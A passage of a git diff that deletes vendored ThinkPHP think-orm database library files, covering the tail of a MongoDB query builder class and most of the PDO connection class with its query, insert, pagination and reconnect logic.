$collection['name']; - } - - return $result; - } - - /** - * COUNT查询 - * @access public - * @param string $field 字段名 - * @return integer - */ - public function count(string $field = null): int - { - $result = $this->cmd('count'); - - return $result[0]['n']; - } - - /** - * 聚合查询 - * @access public - * @param string $aggregate 聚合指令 - * @param string $field 字段名 - * @param bool $force 强制转为数字类型 - * @return mixed - */ - public function aggregate(string $aggregate, $field, bool $force = false) - { - $result = $this->cmd('aggregate', [strtolower($aggregate), $field]); - $value = $result[0]['aggregate'] ?? 0; - - if ($force) { - $value += 0; - } - - return $value; - } - - /** - * 多聚合操作 - * - * @param array $aggregate 聚合指令, 可以聚合多个参数, 如 ['sum' => 'field1', 'avg' => 'field2'] - * @param array $groupBy 类似mysql里面的group字段, 可以传入多个字段, 如 ['field_a', 'field_b', 'field_c'] - * @return array 查询结果 - */ - public function multiAggregate(array $aggregate, array $groupBy): array - { - $result = $this->cmd('multiAggregate', [$aggregate, $groupBy]); - - foreach ($result as &$row) { - if (isset($row['_id']) && !empty($row['_id'])) { - foreach ($row['_id'] as $k => $v) { - $row[$k] = $v; - } - unset($row['_id']); - } - } - - return $result; - } - - /** - * 字段值增长 - * @access public - * @param string $field 字段名 - * @param float $step 增长值 - * @return $this - */ - public function inc(string $field, float $step = 1) - { - $this->options['data'][$field] = ['$inc', $step]; - - return $this; - } - - /** - * 字段值减少 - * @access public - * @param string $field 字段名 - * @param float $step 减少值 - * @return $this - */ - public function dec(string $field, float $step = 1) - { - return $this->inc($field, -1 * $step); - } - - /** - * 指定当前操作的Collection - * @access public - * @param string $table 表名 - * @return $this - */ - public function table($table) - { - $this->options['table'] = $table; - - return $this; - } - - /** - * table方法的别名 - * @access public - * @param string $collection - * @return $this - */ - public function collection(string $collection) - { - return $this->table($collection); - } - - /** - * 设置typeMap - * @access public - * @param string|array $typeMap - * @return $this - */ - public function typeMap($typeMap) - { - $this->options['typeMap'] = $typeMap; - return $this; - } - - /** - * awaitData - * @access public - * @param bool $awaitData - * @return $this - */ - public function awaitData(bool $awaitData) - { - $this->options['awaitData'] = $awaitData; - return $this; - } - - /** - * batchSize - * @access public - * @param integer $batchSize - * @return $this - */ - public function batchSize(int $batchSize) - { - $this->options['batchSize'] = $batchSize; - return $this; - } - - /** - * exhaust - * @access public - * @param bool $exhaust - * @return $this - */ - public function exhaust(bool $exhaust) - { - $this->options['exhaust'] = $exhaust; - return $this; - } - - /** - * 设置modifiers - * @access public - * @param array $modifiers - * @return $this - */ - public function modifiers(array $modifiers) - { - $this->options['modifiers'] = $modifiers; - return $this; - } - - /** - * 设置noCursorTimeout - * @access public - * @param bool $noCursorTimeout - * @return $this - */ - public function noCursorTimeout(bool $noCursorTimeout) - { - $this->options['noCursorTimeout'] = $noCursorTimeout; - return $this; - } - - /** - * 设置oplogReplay - * @access public - * @param bool $oplogReplay - * @return $this - */ - public function oplogReplay(bool $oplogReplay) - { - $this->options['oplogReplay'] = $oplogReplay; - return $this; - } - - /** - * 设置partial - * @access public - * @param bool $partial - * @return $this - */ - public function partial(bool $partial) - { - $this->options['partial'] = $partial; - return $this; - } - - /** - * maxTimeMS - * @access public - * @param string $maxTimeMS - * @return $this - */ - public function maxTimeMS(string $maxTimeMS) - { - $this->options['maxTimeMS'] = $maxTimeMS; - return $this; - } - - /** - * collation - * @access public - * @param array $collation - * @return $this - */ - public function collation(array $collation) - { - $this->options['collation'] = $collation; - return $this; - } - - /** - * 设置是否REPLACE - * @access public - * @param bool $replace 是否使用REPLACE写入数据 - * @return $this - */ - public function replace(bool $replace = true) - { - return $this; - } - - /** - * 设置返回字段 - * @access public - * @param mixed $field 字段信息 - * @return $this - */ - public function field($field) - { - if (empty($field) || '*' == $field) { - return $this; - } - - if (is_string($field)) { - $field = array_map('trim', explode(',', $field)); - } - - $projection = []; - foreach ($field as $key => $val) { - if (is_numeric($key)) { - $projection[$val] = 1; - } else { - $projection[$key] = $val; - } - } - - $this->options['projection'] = $projection; - - return $this; - } - - /** - * 指定要排除的查询字段 - * @access public - * @param array|string $field 要排除的字段 - * @return $this - */ - public function withoutField($field) - { - if (empty($field) || '*' == $field) { - return $this; - } - - if (is_string($field)) { - $field = array_map('trim', explode(',', $field)); - } - - $projection = []; - foreach ($field as $key => $val) { - if (is_numeric($key)) { - $projection[$val] = 0; - } else { - $projection[$key] = $val; - } - } - - $this->options['projection'] = $projection; - return $this; - } - - /** - * 设置skip - * @access public - * @param integer $skip - * @return $this - */ - public function skip(int $skip) - { - $this->options['skip'] = $skip; - return $this; - } - - /** - * 设置slaveOk - * @access public - * @param bool $slaveOk - * @return $this - */ - public function slaveOk(bool $slaveOk) - { - $this->options['slaveOk'] = $slaveOk; - return $this; - } - - /** - * 指定查询数量 - * @access public - * @param int $offset 起始位置 - * @param int $length 查询数量 - * @return $this - */ - public function limit(int $offset, int $length = null) - { - if (is_null($length)) { - $length = $offset; - $offset = 0; - } - - $this->options['skip'] = $offset; - $this->options['limit'] = $length; - - return $this; - } - - /** - * 设置sort - * @access public - * @param array|string $field - * @param string $order - * @return $this - */ - public function order($field, string $order = '') - { - if (is_array($field)) { - $this->options['sort'] = $field; - } else { - $this->options['sort'][$field] = 'asc' == strtolower($order) ? 1 : -1; - } - return $this; - } - - /** - * 设置tailable - * @access public - * @param bool $tailable - * @return $this - */ - public function tailable(bool $tailable) - { - $this->options['tailable'] = $tailable; - return $this; - } - - /** - * 设置writeConcern对象 - * @access public - * @param WriteConcern $writeConcern - * @return $this - */ - public function writeConcern(WriteConcern $writeConcern) - { - $this->options['writeConcern'] = $writeConcern; - return $this; - } - - /** - * 获取当前数据表的主键 - * @access public - * @return string|array - */ - public function getPk() - { - return $this->pk ?: $this->connection->getConfig('pk'); - } - - /** - * 执行查询但只返回Cursor对象 - * @access public - * @return Cursor - */ - public function getCursor(): Cursor - { - $this->parseOptions(); - - return $this->connection->getCursor($this); - } - - /** - * 获取当前的查询标识 - * @access public - * @param mixed $data 要序列化的数据 - * @return string - */ - public function getQueryGuid($data = null): string - { - return md5($this->getConfig('database') . serialize(var_export($data ?: $this->options, true))); - } - - /** - * 分页查询 - * @access public - * @param int|array $listRows 每页数量 数组表示配置参数 - * @param int|bool $simple 是否简洁模式或者总记录数 - * @return Paginator - * @throws Exception - */ - public function paginate($listRows = null, $simple = false): Paginator - { - if (is_int($simple)) { - $total = $simple; - $simple = false; - } - - $defaultConfig = [ - 'query' => [], //url额外参数 - 'fragment' => '', //url锚点 - 'var_page' => 'page', //分页变量 - 'list_rows' => 15, //每页数量 - ]; - - if (is_array($listRows)) { - $config = array_merge($defaultConfig, $listRows); - $listRows = intval($config['list_rows']); - } else { - $config = $defaultConfig; - $listRows = intval($listRows ?: $config['list_rows']); - } - - $page = isset($config['page']) ? (int) $config['page'] : Paginator::getCurrentPage($config['var_page']); - - $page = $page < 1 ? 1 : $page; - - $config['path'] = $config['path'] ?? Paginator::getCurrentPath(); - - if (!isset($total) && !$simple) { - $options = $this->getOptions(); - - unset($this->options['order'], $this->options['limit'], $this->options['page'], $this->options['field']); - - $total = $this->count(); - $results = $this->options($options)->page($page, $listRows)->select(); - } elseif ($simple) { - $results = $this->limit(($page - 1) * $listRows, $listRows + 1)->select(); - $total = null; - } else { - $results = $this->page($page, $listRows)->select(); - } - - $this->removeOption('limit'); - $this->removeOption('page'); - - return Paginator::make($results, $listRows, $page, $total, $simple, $config); - } - - /** - * 分批数据返回处理 - * @access public - * @param integer $count 每次处理的数据数量 - * @param callable $callback 处理回调方法 - * @param string|array $column 分批处理的字段名 - * @param string $order 字段排序 - * @return bool - * @throws Exception - */ - public function chunk(int $count, callable $callback, $column = null, string $order = 'asc'): bool - { - $options = $this->getOptions(); - $column = $column ?: $this->getPk(); - - if (isset($options['order'])) { - unset($options['order']); - } - - if (is_array($column)) { - $times = 1; - $query = $this->options($options)->page($times, $count); - } else { - $query = $this->options($options)->limit($count); - - if (strpos($column, '.')) { - [$alias, $key] = explode('.', $column); - } else { - $key = $column; - } - } - - $resultSet = $query->order($column, $order)->select(); - - while (count($resultSet) > 0) { - if (false === call_user_func($callback, $resultSet)) { - return false; - } - - if (isset($times)) { - $times++; - $query = $this->options($options)->page($times, $count); - } else { - $end = $resultSet->pop(); - $lastId = is_array($end) ? $end[$key] : $end->getData($key); - - $query = $this->options($options) - ->limit($count) - ->where($column, 'asc' == strtolower($order) ? '>' : '<', $lastId); - } - - $resultSet = $query->order($column, $order)->select(); - } - - return true; - } - - /** - * 分析表达式(可用于查询或者写入操作) - * @access public - * @return array - */ - public function parseOptions(): array - { - $options = $this->options; - - // 获取数据表 - if (empty($options['table'])) { - $options['table'] = $this->getTable(); - } - - foreach (['where', 'data'] as $name) { - if (!isset($options[$name])) { - $options[$name] = []; - } - } - - $modifiers = empty($options['modifiers']) ? [] : $options['modifiers']; - if (isset($options['comment'])) { - $modifiers['$comment'] = $options['comment']; - } - - if (isset($options['maxTimeMS'])) { - $modifiers['$maxTimeMS'] = $options['maxTimeMS']; - } - - if (!empty($modifiers)) { - $options['modifiers'] = $modifiers; - } - - if (!isset($options['projection'])) { - $options['projection'] = []; - } - - if (!isset($options['typeMap'])) { - $options['typeMap'] = $this->getConfig('type_map'); - } - - if (!isset($options['limit'])) { - $options['limit'] = 0; - } - - foreach (['master', 'fetch_sql', 'fetch_cursor'] as $name) { - if (!isset($options[$name])) { - $options[$name] = false; - } - } - - if (isset($options['page'])) { - // 根据页数计算limit - [$page, $listRows] = $options['page']; - - $page = $page > 0 ? $page : 1; - $listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20); - $offset = $listRows * ($page - 1); - $options['skip'] = intval($offset); - $options['limit'] = intval($listRows); - } - - $this->options = $options; - - return $options; - } - - /** - * 获取字段类型信息 - * @access public - * @return array - */ - public function getFieldsType(): array - { - if (!empty($this->options['field_type'])) { - return $this->options['field_type']; - } - - return []; - } - - /** - * 获取字段类型信息 - * @access public - * @param string $field 字段名 - * @return string|null - */ - public function getFieldType(string $field) - { - $fieldType = $this->getFieldsType(); - - return $fieldType[$field] ?? null; - } -} diff --git a/vendor/topthink/think-orm/src/db/PDOConnection.php b/vendor/topthink/think-orm/src/db/PDOConnection.php deleted file mode 100644 index e8a1dbf..0000000 --- a/vendor/topthink/think-orm/src/db/PDOConnection.php +++ /dev/null @@ -1,1744 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use Closure; -use PDO; -use PDOStatement; -use think\db\exception\BindParamException; -use think\db\exception\DbException; -use think\db\exception\PDOException; - -/** - * 数据库连接基础类 - */ -abstract class PDOConnection extends Connection -{ - const PARAM_FLOAT = 21; - - /** - * 数据库连接参数配置 - * @var array - */ - protected $config = [ - // 数据库类型 - 'type' => '', - // 服务器地址 - 'hostname' => '', - // 数据库名 - 'database' => '', - // 用户名 - 'username' => '', - // 密码 - 'password' => '', - // 端口 - 'hostport' => '', - // 连接dsn - 'dsn' => '', - // 数据库连接参数 - 'params' => [], - // 数据库编码默认采用utf8 - 'charset' => 'utf8', - // 数据库表前缀 - 'prefix' => '', - // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) - 'deploy' => 0, - // 数据库读写是否分离 主从式有效 - 'rw_separate' => false, - // 读写分离后 主服务器数量 - 'master_num' => 1, - // 指定从服务器序号 - 'slave_no' => '', - // 模型写入后自动读取主服务器 - 'read_master' => false, - // 是否严格检查字段是否存在 - 'fields_strict' => true, - // 开启字段缓存 - 'fields_cache' => false, - // 监听SQL - 'trigger_sql' => true, - // Builder类 - 'builder' => '', - // Query类 - 'query' => '', - // 是否需要断线重连 - 'break_reconnect' => false, - // 断线标识字符串 - 'break_match_str' => [], - ]; - - /** - * PDO操作实例 - * @var PDOStatement - */ - protected $PDOStatement; - - /** - * 当前SQL指令 - * @var string - */ - protected $queryStr = ''; - - /** - * 事务指令数 - * @var int - */ - protected $transTimes = 0; - - /** - * 重连次数 - * @var int - */ - protected $reConnectTimes = 0; - - /** - * 查询结果类型 - * @var int - */ - protected $fetchType = PDO::FETCH_ASSOC; - - /** - * 字段属性大小写 - * @var int - */ - protected $attrCase = PDO::CASE_LOWER; - - /** - * 数据表信息 - * @var array - */ - protected $info = []; - - /** - * 查询开始时间 - * @var float - */ - protected $queryStartTime; - - /** - * PDO连接参数 - * @var array - */ - protected $params = [ - PDO::ATTR_CASE => PDO::CASE_NATURAL, - PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, - PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL, - PDO::ATTR_STRINGIFY_FETCHES => false, - PDO::ATTR_EMULATE_PREPARES => false, - ]; - - /** - * 参数绑定类型映射 - * @var array - */ - protected $bindType = [ - 'string' => PDO::PARAM_STR, - 'str' => PDO::PARAM_STR, - 'integer' => PDO::PARAM_INT, - 'int' => PDO::PARAM_INT, - 'boolean' => PDO::PARAM_BOOL, - 'bool' => PDO::PARAM_BOOL, - 'float' => self::PARAM_FLOAT, - 'datetime' => PDO::PARAM_STR, - 'timestamp' => PDO::PARAM_STR, - ]; - - /** - * 服务器断线标识字符 - * @var array - */ - protected $breakMatchStr = [ - 'server has gone away', - 'no connection to the server', - 'Lost connection', - 'is dead or not enabled', - 'Error while sending', - 'decryption failed or bad record mac', - 'server closed the connection unexpectedly', - 'SSL connection has been closed unexpectedly', - 'Error writing data to the connection', - 'Resource deadlock avoided', - 'failed with errno', - ]; - - /** - * 绑定参数 - * @var array - */ - protected $bind = []; - - /** - * 获取当前连接器类对应的Query类 - * @access public - * @return string - */ - public function getQueryClass(): string - { - return $this->getConfig('query') ?: Query::class; - } - - /** - * 获取当前连接器类对应的Builder类 - * @access public - * @return string - */ - public function getBuilderClass(): string - { - return $this->getConfig('builder') ?: '\\think\\db\\builder\\' . ucfirst($this->getConfig('type')); - } - - /** - * 解析pdo连接的dsn信息 - * @access protected - * @param array $config 连接信息 - * @return string - */ - abstract protected function parseDsn(array $config): string; - - /** - * 取得数据表的字段信息 - * @access public - * @param string $tableName 数据表名称 - * @return array - */ - abstract public function getFields(string $tableName): array; - - /** - * 取得数据库的表信息 - * @access public - * @param string $dbName 数据库名称 - * @return array - */ - abstract public function getTables(string $dbName = ''): array; - - /** - * 对返数据表字段信息进行大小写转换出来 - * @access public - * @param array $info 字段信息 - * @return array - */ - public function fieldCase(array $info): array - { - // 字段大小写转换 - switch ($this->attrCase) { - case PDO::CASE_LOWER: - $info = array_change_key_case($info); - break; - case PDO::CASE_UPPER: - $info = array_change_key_case($info, CASE_UPPER); - break; - case PDO::CASE_NATURAL: - default: - // 不做转换 - } - - return $info; - } - - /** - * 获取字段类型 - * @access protected - * @param string $type 字段类型 - * @return string - */ - protected function getFieldType(string $type): string - { - if (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) { - $result = 'string'; - } elseif (preg_match('/(double|float|decimal|real|numeric)/is', $type)) { - $result = 'float'; - } elseif (preg_match('/(int|serial|bit)/is', $type)) { - $result = 'int'; - } elseif (preg_match('/bool/is', $type)) { - $result = 'bool'; - } elseif (0 === strpos($type, 'timestamp')) { - $result = 'timestamp'; - } elseif (0 === strpos($type, 'datetime')) { - $result = 'datetime'; - } elseif (0 === strpos($type, 'date')) { - $result = 'date'; - } else { - $result = 'string'; - } - - return $result; - } - - /** - * 获取字段绑定类型 - * @access public - * @param string $type 字段类型 - * @return integer - */ - public function getFieldBindType(string $type): int - { - if (in_array($type, ['integer', 'string', 'float', 'boolean', 'bool', 'int', 'str'])) { - $bind = $this->bindType[$type]; - } elseif (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) { - $bind = PDO::PARAM_STR; - } elseif (preg_match('/(double|float|decimal|real|numeric)/is', $type)) { - $bind = self::PARAM_FLOAT; - } elseif (preg_match('/(int|serial|bit)/is', $type)) { - $bind = PDO::PARAM_INT; - } elseif (preg_match('/bool/is', $type)) { - $bind = PDO::PARAM_BOOL; - } else { - $bind = PDO::PARAM_STR; - } - - return $bind; - } - - /** - * 获取数据表信息缓存key - * @access protected - * @param string $schema 数据表名称 - * @return string - */ - protected function getSchemaCacheKey(string $schema): string - { - return $this->getConfig('hostname') . ':' . $this->getConfig('hostport') . '@' . $schema; - } - - /** - * @param string $tableName 数据表名称 - * @param bool $force 强制从数据库获取 - * @return array - */ - public function getSchemaInfo(string $tableName, $force = false) - { - if (!strpos($tableName, '.')) { - $schema = $this->getConfig('database') . '.' . $tableName; - } else { - $schema = $tableName; - } - - if (!isset($this->info[$schema]) || $force) { - // 读取字段缓存 - $cacheKey = $this->getSchemaCacheKey($schema); - $cacheField = $this->config['fields_cache'] && !empty($this->cache); - - if ($cacheField && !$force) { - $info = $this->cache->get($cacheKey); - } - - if (empty($info)) { - $info = $this->getTableFieldsInfo($tableName); - if ($cacheField) { - $this->cache->set($cacheKey, $info); - } - } - - $pk = $info['_pk'] ?? null; - $autoinc = $info['_autoinc'] ?? null; - unset($info['_pk'], $info['_autoinc']); - - $bind = []; - foreach ($info as $name => $val) { - $bind[$name] = $this->getFieldBindType($val); - } - - $this->info[$schema] = [ - 'fields' => array_keys($info), - 'type' => $info, - 'bind' => $bind, - 'pk' => $pk, - 'autoinc' => $autoinc, - ]; - } - - return $this->info[$schema]; - } - - /** - * 获取数据表信息 - * @access public - * @param mixed $tableName 数据表名 留空自动获取 - * @param string $fetch 获取信息类型 包括 fields type bind pk - * @return mixed - */ - public function getTableInfo($tableName, string $fetch = '') - { - if (is_array($tableName)) { - $tableName = key($tableName) ?: current($tableName); - } - - if (strpos($tableName, ',') || strpos($tableName, ')')) { - // 多表不获取字段信息 - return []; - } - - [$tableName] = explode(' ', $tableName); - - $info = $this->getSchemaInfo($tableName); - - return $fetch ? $info[$fetch] : $info; - } - - /** - * 获取数据表的字段信息 - * @access public - * @param string $tableName 数据表名 - * @return array - */ - public function getTableFieldsInfo(string $tableName): array - { - $fields = $this->getFields($tableName); - $info = []; - - foreach ($fields as $key => $val) { - // 记录字段类型 - $info[$key] = $this->getFieldType($val['type']); - - if (!empty($val['primary'])) { - $pk[] = $key; - } - - if (!empty($val['autoinc'])) { - $autoinc = $key; - } - } - - if (isset($pk)) { - // 设置主键 - $pk = count($pk) > 1 ? $pk : $pk[0]; - $info['_pk'] = $pk; - } - - if (isset($autoinc)) { - $info['_autoinc'] = $autoinc; - } - - return $info; - } - - /** - * 获取数据表的主键 - * @access public - * @param mixed $tableName 数据表名 - * @return string|array - */ - public function getPk($tableName) - { - return $this->getTableInfo($tableName, 'pk'); - } - - /** - * 获取数据表的自增主键 - * @access public - * @param mixed $tableName 数据表名 - * @return string - */ - public function getAutoInc($tableName) - { - return $this->getTableInfo($tableName, 'autoinc'); - } - - /** - * 获取数据表字段信息 - * @access public - * @param mixed $tableName 数据表名 - * @return array - */ - public function getTableFields($tableName): array - { - return $this->getTableInfo($tableName, 'fields'); - } - - /** - * 获取数据表字段类型 - * @access public - * @param mixed $tableName 数据表名 - * @param string $field 字段名 - * @return array|string - */ - public function getFieldsType($tableName, string $field = null) - { - $result = $this->getTableInfo($tableName, 'type'); - - if ($field && isset($result[$field])) { - return $result[$field]; - } - - return $result; - } - - /** - * 获取数据表绑定信息 - * @access public - * @param mixed $tableName 数据表名 - * @return array - */ - public function getFieldsBind($tableName): array - { - return $this->getTableInfo($tableName, 'bind'); - } - - /** - * 连接数据库方法 - * @access public - * @param array $config 连接参数 - * @param integer $linkNum 连接序号 - * @param array|bool $autoConnection 是否自动连接主数据库(用于分布式) - * @return PDO - * @throws PDOException - */ - public function connect(array $config = [], $linkNum = 0, $autoConnection = false): PDO - { - if (isset($this->links[$linkNum])) { - return $this->links[$linkNum]; - } - - if (empty($config)) { - $config = $this->config; - } else { - $config = array_merge($this->config, $config); - } - - // 连接参数 - if (isset($config['params']) && is_array($config['params'])) { - $params = $config['params'] + $this->params; - } else { - $params = $this->params; - } - - // 记录当前字段属性大小写设置 - $this->attrCase = $params[PDO::ATTR_CASE]; - - if (!empty($config['break_match_str'])) { - $this->breakMatchStr = array_merge($this->breakMatchStr, (array) $config['break_match_str']); - } - - try { - if (empty($config['dsn'])) { - $config['dsn'] = $this->parseDsn($config); - } - - $startTime = microtime(true); - - $this->links[$linkNum] = $this->createPdo($config['dsn'], $config['username'], $config['password'], $params); - - // SQL监控 - if (!empty($config['trigger_sql'])) { - $this->trigger('CONNECT:[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $config['dsn']); - } - - return $this->links[$linkNum]; - } catch (\PDOException $e) { - if ($autoConnection) { - $this->db->log($e->getMessage(), 'error'); - return $this->connect($autoConnection, $linkNum); - } else { - throw $e; - } - } - } - - /** - * 视图查询 - * @access public - * @param array $args - * @return BaseQuery - */ - public function view(...$args) - { - return $this->newQuery()->view(...$args); - } - - /** - * 创建PDO实例 - * @param $dsn - * @param $username - * @param $password - * @param $params - * @return PDO - */ - protected function createPdo($dsn, $username, $password, $params) - { - return new PDO($dsn, $username, $password, $params); - } - - /** - * 释放查询结果 - * @access public - */ - public function free(): void - { - $this->PDOStatement = null; - } - - /** - * 获取PDO对象 - * @access public - * @return \PDO|false - */ - public function getPdo() - { - if (!$this->linkID) { - return false; - } - - return $this->linkID; - } - - /** - * 执行查询 使用生成器返回数据 - * @access public - * @param BaseQuery $query 查询对象 - * @param string $sql sql指令 - * @param array $bind 参数绑定 - * @param \think\Model $model 模型对象实例 - * @param array $condition 查询条件 - * @return \Generator - */ - public function getCursor(BaseQuery $query, string $sql, array $bind = [], $model = null, $condition = null) - { - $this->queryPDOStatement($query, $sql, $bind); - - // 返回结果集 - while ($result = $this->PDOStatement->fetch($this->fetchType)) { - if ($model) { - yield $model->newInstance($result, $condition); - } else { - yield $result; - } - } - } - - /** - * 执行查询 返回数据集 - * @access public - * @param string $sql sql指令 - * @param array $bind 参数绑定 - * @param bool $master 主库读取 - * @return array - * @throws BindParamException - * @throws \PDOException - */ - public function query(string $sql, array $bind = [], bool $master = false): array - { - return $this->pdoQuery($this->newQuery(), $sql, $bind, $master); - } - - /** - * 执行语句 - * @access public - * @param string $sql sql指令 - * @param array $bind 参数绑定 - * @return int - * @throws BindParamException - * @throws \PDOException - */ - public function execute(string $sql, array $bind = []): int - { - return $this->pdoExecute($this->newQuery(), $sql, $bind, true); - } - - /** - * 执行查询 返回数据集 - * @access protected - * @param BaseQuery $query 查询对象 - * @param mixed $sql sql指令 - * @param array $bind 参数绑定 - * @param bool $master 主库读取 - * @return array - * @throws BindParamException - * @throws \PDOException - * @throws \Exception - * @throws \Throwable - */ - protected function pdoQuery(BaseQuery $query, $sql, array $bind = [], bool $master = null): array - { - // 分析查询表达式 - $query->parseOptions(); - - if ($query->getOptions('cache')) { - // 检查查询缓存 - $cacheItem = $this->parseCache($query, $query->getOptions('cache')); - $key = $cacheItem->getKey(); - - $data = $this->cache->get($key); - - if (null !== $data) { - return $data; - } - } - - if ($sql instanceof Closure) { - $sql = $sql($query); - $bind = $query->getBind(); - } - - if (!isset($master)) { - $master = $query->getOptions('master') ? true : false; - } - - $procedure = $query->getOptions('procedure') ? true : in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']); - - $this->getPDOStatement($sql, $bind, $master, $procedure); - - $resultSet = $this->getResult($procedure); - - if (isset($cacheItem) && $resultSet) { - // 缓存数据集 - $cacheItem->set($resultSet); - $this->cacheData($cacheItem); - } - - return $resultSet; - } - - /** - * 执行查询但只返回PDOStatement对象 - * @access public - * @param BaseQuery $query 查询对象 - * @return \PDOStatement - */ - public function pdo(BaseQuery $query): PDOStatement - { - $bind = $query->getBind(); - // 生成查询SQL - $sql = $this->builder->select($query); - - return $this->queryPDOStatement($query, $sql, $bind); - } - - /** - * 执行查询但只返回PDOStatement对象 - * @access public - * @param string $sql sql指令 - * @param array $bind 参数绑定 - * @param bool $master 是否在主服务器读操作 - * @param bool $procedure 是否为存储过程调用 - * @return PDOStatement - * @throws BindParamException - * @throws \PDOException - * @throws \Exception - * @throws \Throwable - */ - public function getPDOStatement(string $sql, array $bind = [], bool $master = false, bool $procedure = false): PDOStatement - { - try { - $this->initConnect($this->readMaster ?: $master); - // 记录SQL语句 - $this->queryStr = $sql; - $this->bind = $bind; - - $this->db->updateQueryTimes(); - $this->queryStartTime = microtime(true); - - // 预处理 - $this->PDOStatement = $this->linkID->prepare($sql); - - // 参数绑定 - if ($procedure) { - $this->bindParam($bind); - } else { - $this->bindValue($bind); - } - - // 执行查询 - $this->PDOStatement->execute(); - - // SQL监控 - if (!empty($this->config['trigger_sql'])) { - $this->trigger('', $master); - } - - $this->reConnectTimes = 0; - - return $this->PDOStatement; - } catch (\Throwable | \Exception $e) { - if ($this->reConnectTimes < 4 && $this->isBreak($e)) { - ++$this->reConnectTimes; - return $this->close()->getPDOStatement($sql, $bind, $master, $procedure); - } - - if ($e instanceof \PDOException) { - throw new PDOException($e, $this->config, $this->getLastsql()); - } else { - throw $e; - } - } - } - - /** - * 执行语句 - * @access protected - * @param BaseQuery $query 查询对象 - * @param string $sql sql指令 - * @param array $bind 参数绑定 - * @param bool $origin 是否原生查询 - * @return int - * @throws BindParamException - * @throws \PDOException - * @throws \Exception - * @throws \Throwable - */ - protected function pdoExecute(BaseQuery $query, string $sql, array $bind = [], bool $origin = false): int - { - if ($origin) { - $query->parseOptions(); - } - - $this->queryPDOStatement($query->master(true), $sql, $bind); - - if (!$origin && !empty($this->config['deploy']) && !empty($this->config['read_master'])) { - $this->readMaster = true; - } - - $this->numRows = $this->PDOStatement->rowCount(); - - if ($query->getOptions('cache')) { - // 清理缓存数据 - $cacheItem = $this->parseCache($query, $query->getOptions('cache')); - $key = $cacheItem->getKey(); - $tag = $cacheItem->getTag(); - - if (isset($key) && $this->cache->has($key)) { - $this->cache->delete($key); - } elseif (!empty($tag) && method_exists($this->cache, 'tag')) { - $this->cache->tag($tag)->clear(); - } - } - - return $this->numRows; - } - - protected function queryPDOStatement(BaseQuery $query, string $sql, array $bind = []): PDOStatement - { - $options = $query->getOptions(); - $master = !empty($options['master']) ? true : false; - $procedure = !empty($options['procedure']) ? true : in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']); - - return $this->getPDOStatement($sql, $bind, $master, $procedure); - } - - /** - * 查找单条记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - * @throws DbException - */ - public function find(BaseQuery $query): array - { - // 事件回调 - $result = $this->db->trigger('before_find', $query); - - if (!$result) { - // 执行查询 - $resultSet = $this->pdoQuery($query, function ($query) { - return $this->builder->select($query, true); - }); - - $result = $resultSet[0] ?? []; - } - - return $result; - } - - /** - * 使用游标查询记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return \Generator - */ - public function cursor(BaseQuery $query) - { - // 分析查询表达式 - $options = $query->parseOptions(); - - // 生成查询SQL - $sql = $this->builder->select($query); - - $condition = $options['where']['AND'] ?? null; - - // 执行查询操作 - return $this->getCursor($query, $sql, $query->getBind(), $query->getModel(), $condition); - } - - /** - * 查找记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return array - * @throws DbException - */ - public function select(BaseQuery $query): array - { - $resultSet = $this->db->trigger('before_select', $query); - - if (!$resultSet) { - // 执行查询操作 - $resultSet = $this->pdoQuery($query, function ($query) { - return $this->builder->select($query); - }); - } - - return $resultSet; - } - - /** - * 插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param boolean $getLastInsID 返回自增主键 - * @return mixed - */ - public function insert(BaseQuery $query, bool $getLastInsID = false) - { - // 分析查询表达式 - $options = $query->parseOptions(); - - // 生成SQL语句 - $sql = $this->builder->insert($query); - - // 执行操作 - $result = '' == $sql ? 0 : $this->pdoExecute($query, $sql, $query->getBind()); - - if ($result) { - $sequence = $options['sequence'] ?? null; - $lastInsId = $this->getLastInsID($query, $sequence); - - $data = $options['data']; - - if ($lastInsId) { - $pk = $query->getAutoInc(); - if ($pk) { - $data[$pk] = $lastInsId; - } - } - - $query->setOption('data', $data); - - $this->db->trigger('after_insert', $query); - - if ($getLastInsID && $lastInsId) { - return $lastInsId; - } - } - - return $result; - } - - /** - * 批量插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param mixed $dataSet 数据集 - * @param integer $limit 每次写入数据限制 - * @return integer - * @throws \Exception - * @throws \Throwable - */ - public function insertAll(BaseQuery $query, array $dataSet = [], int $limit = 0): int - { - if (!is_array(reset($dataSet))) { - return 0; - } - - $options = $query->parseOptions(); - $replace = !empty($options['replace']); - - if (0 === $limit && count($dataSet) >= 5000) { - $limit = 1000; - } - - if ($limit) { - // 分批写入 自动启动事务支持 - $this->startTrans(); - - try { - $array = array_chunk($dataSet, $limit, true); - $count = 0; - - foreach ($array as $item) { - $sql = $this->builder->insertAll($query, $item, $replace); - $count += $this->pdoExecute($query, $sql, $query->getBind()); - } - - // 提交事务 - $this->commit(); - } catch (\Exception | \Throwable $e) { - $this->rollback(); - throw $e; - } - - return $count; - } - - $sql = $this->builder->insertAll($query, $dataSet, $replace); - - return $this->pdoExecute($query, $sql, $query->getBind()); - } - - /** - * 通过Select方式插入记录 - * @access public - * @param BaseQuery $query 查询对象 - * @param array $fields 要插入的数据表字段名 - * @param string $table 要插入的数据表名 - * @return integer - * @throws PDOException - */ - public function selectInsert(BaseQuery $query, array $fields, string $table): int - { - // 分析查询表达式 - $query->parseOptions(); - - $sql = $this->builder->selectInsert($query, $fields, $table); - - return $this->pdoExecute($query, $sql, $query->getBind()); - } - - /** - * 更新记录 - * @access public - * @param BaseQuery $query 查询对象 - * @return integer - * @throws PDOException - */ - public function update(BaseQuery $query): int - { - $query->parseOptions(); - - // 生成UPDATE SQL语句 - $sql = $this->builder->update($query); - - // 执行操作 - $result = '' == $sql ? 0 : $this->pdoExecute($query, $sql, $query->getBind()); - - if ($result) { - 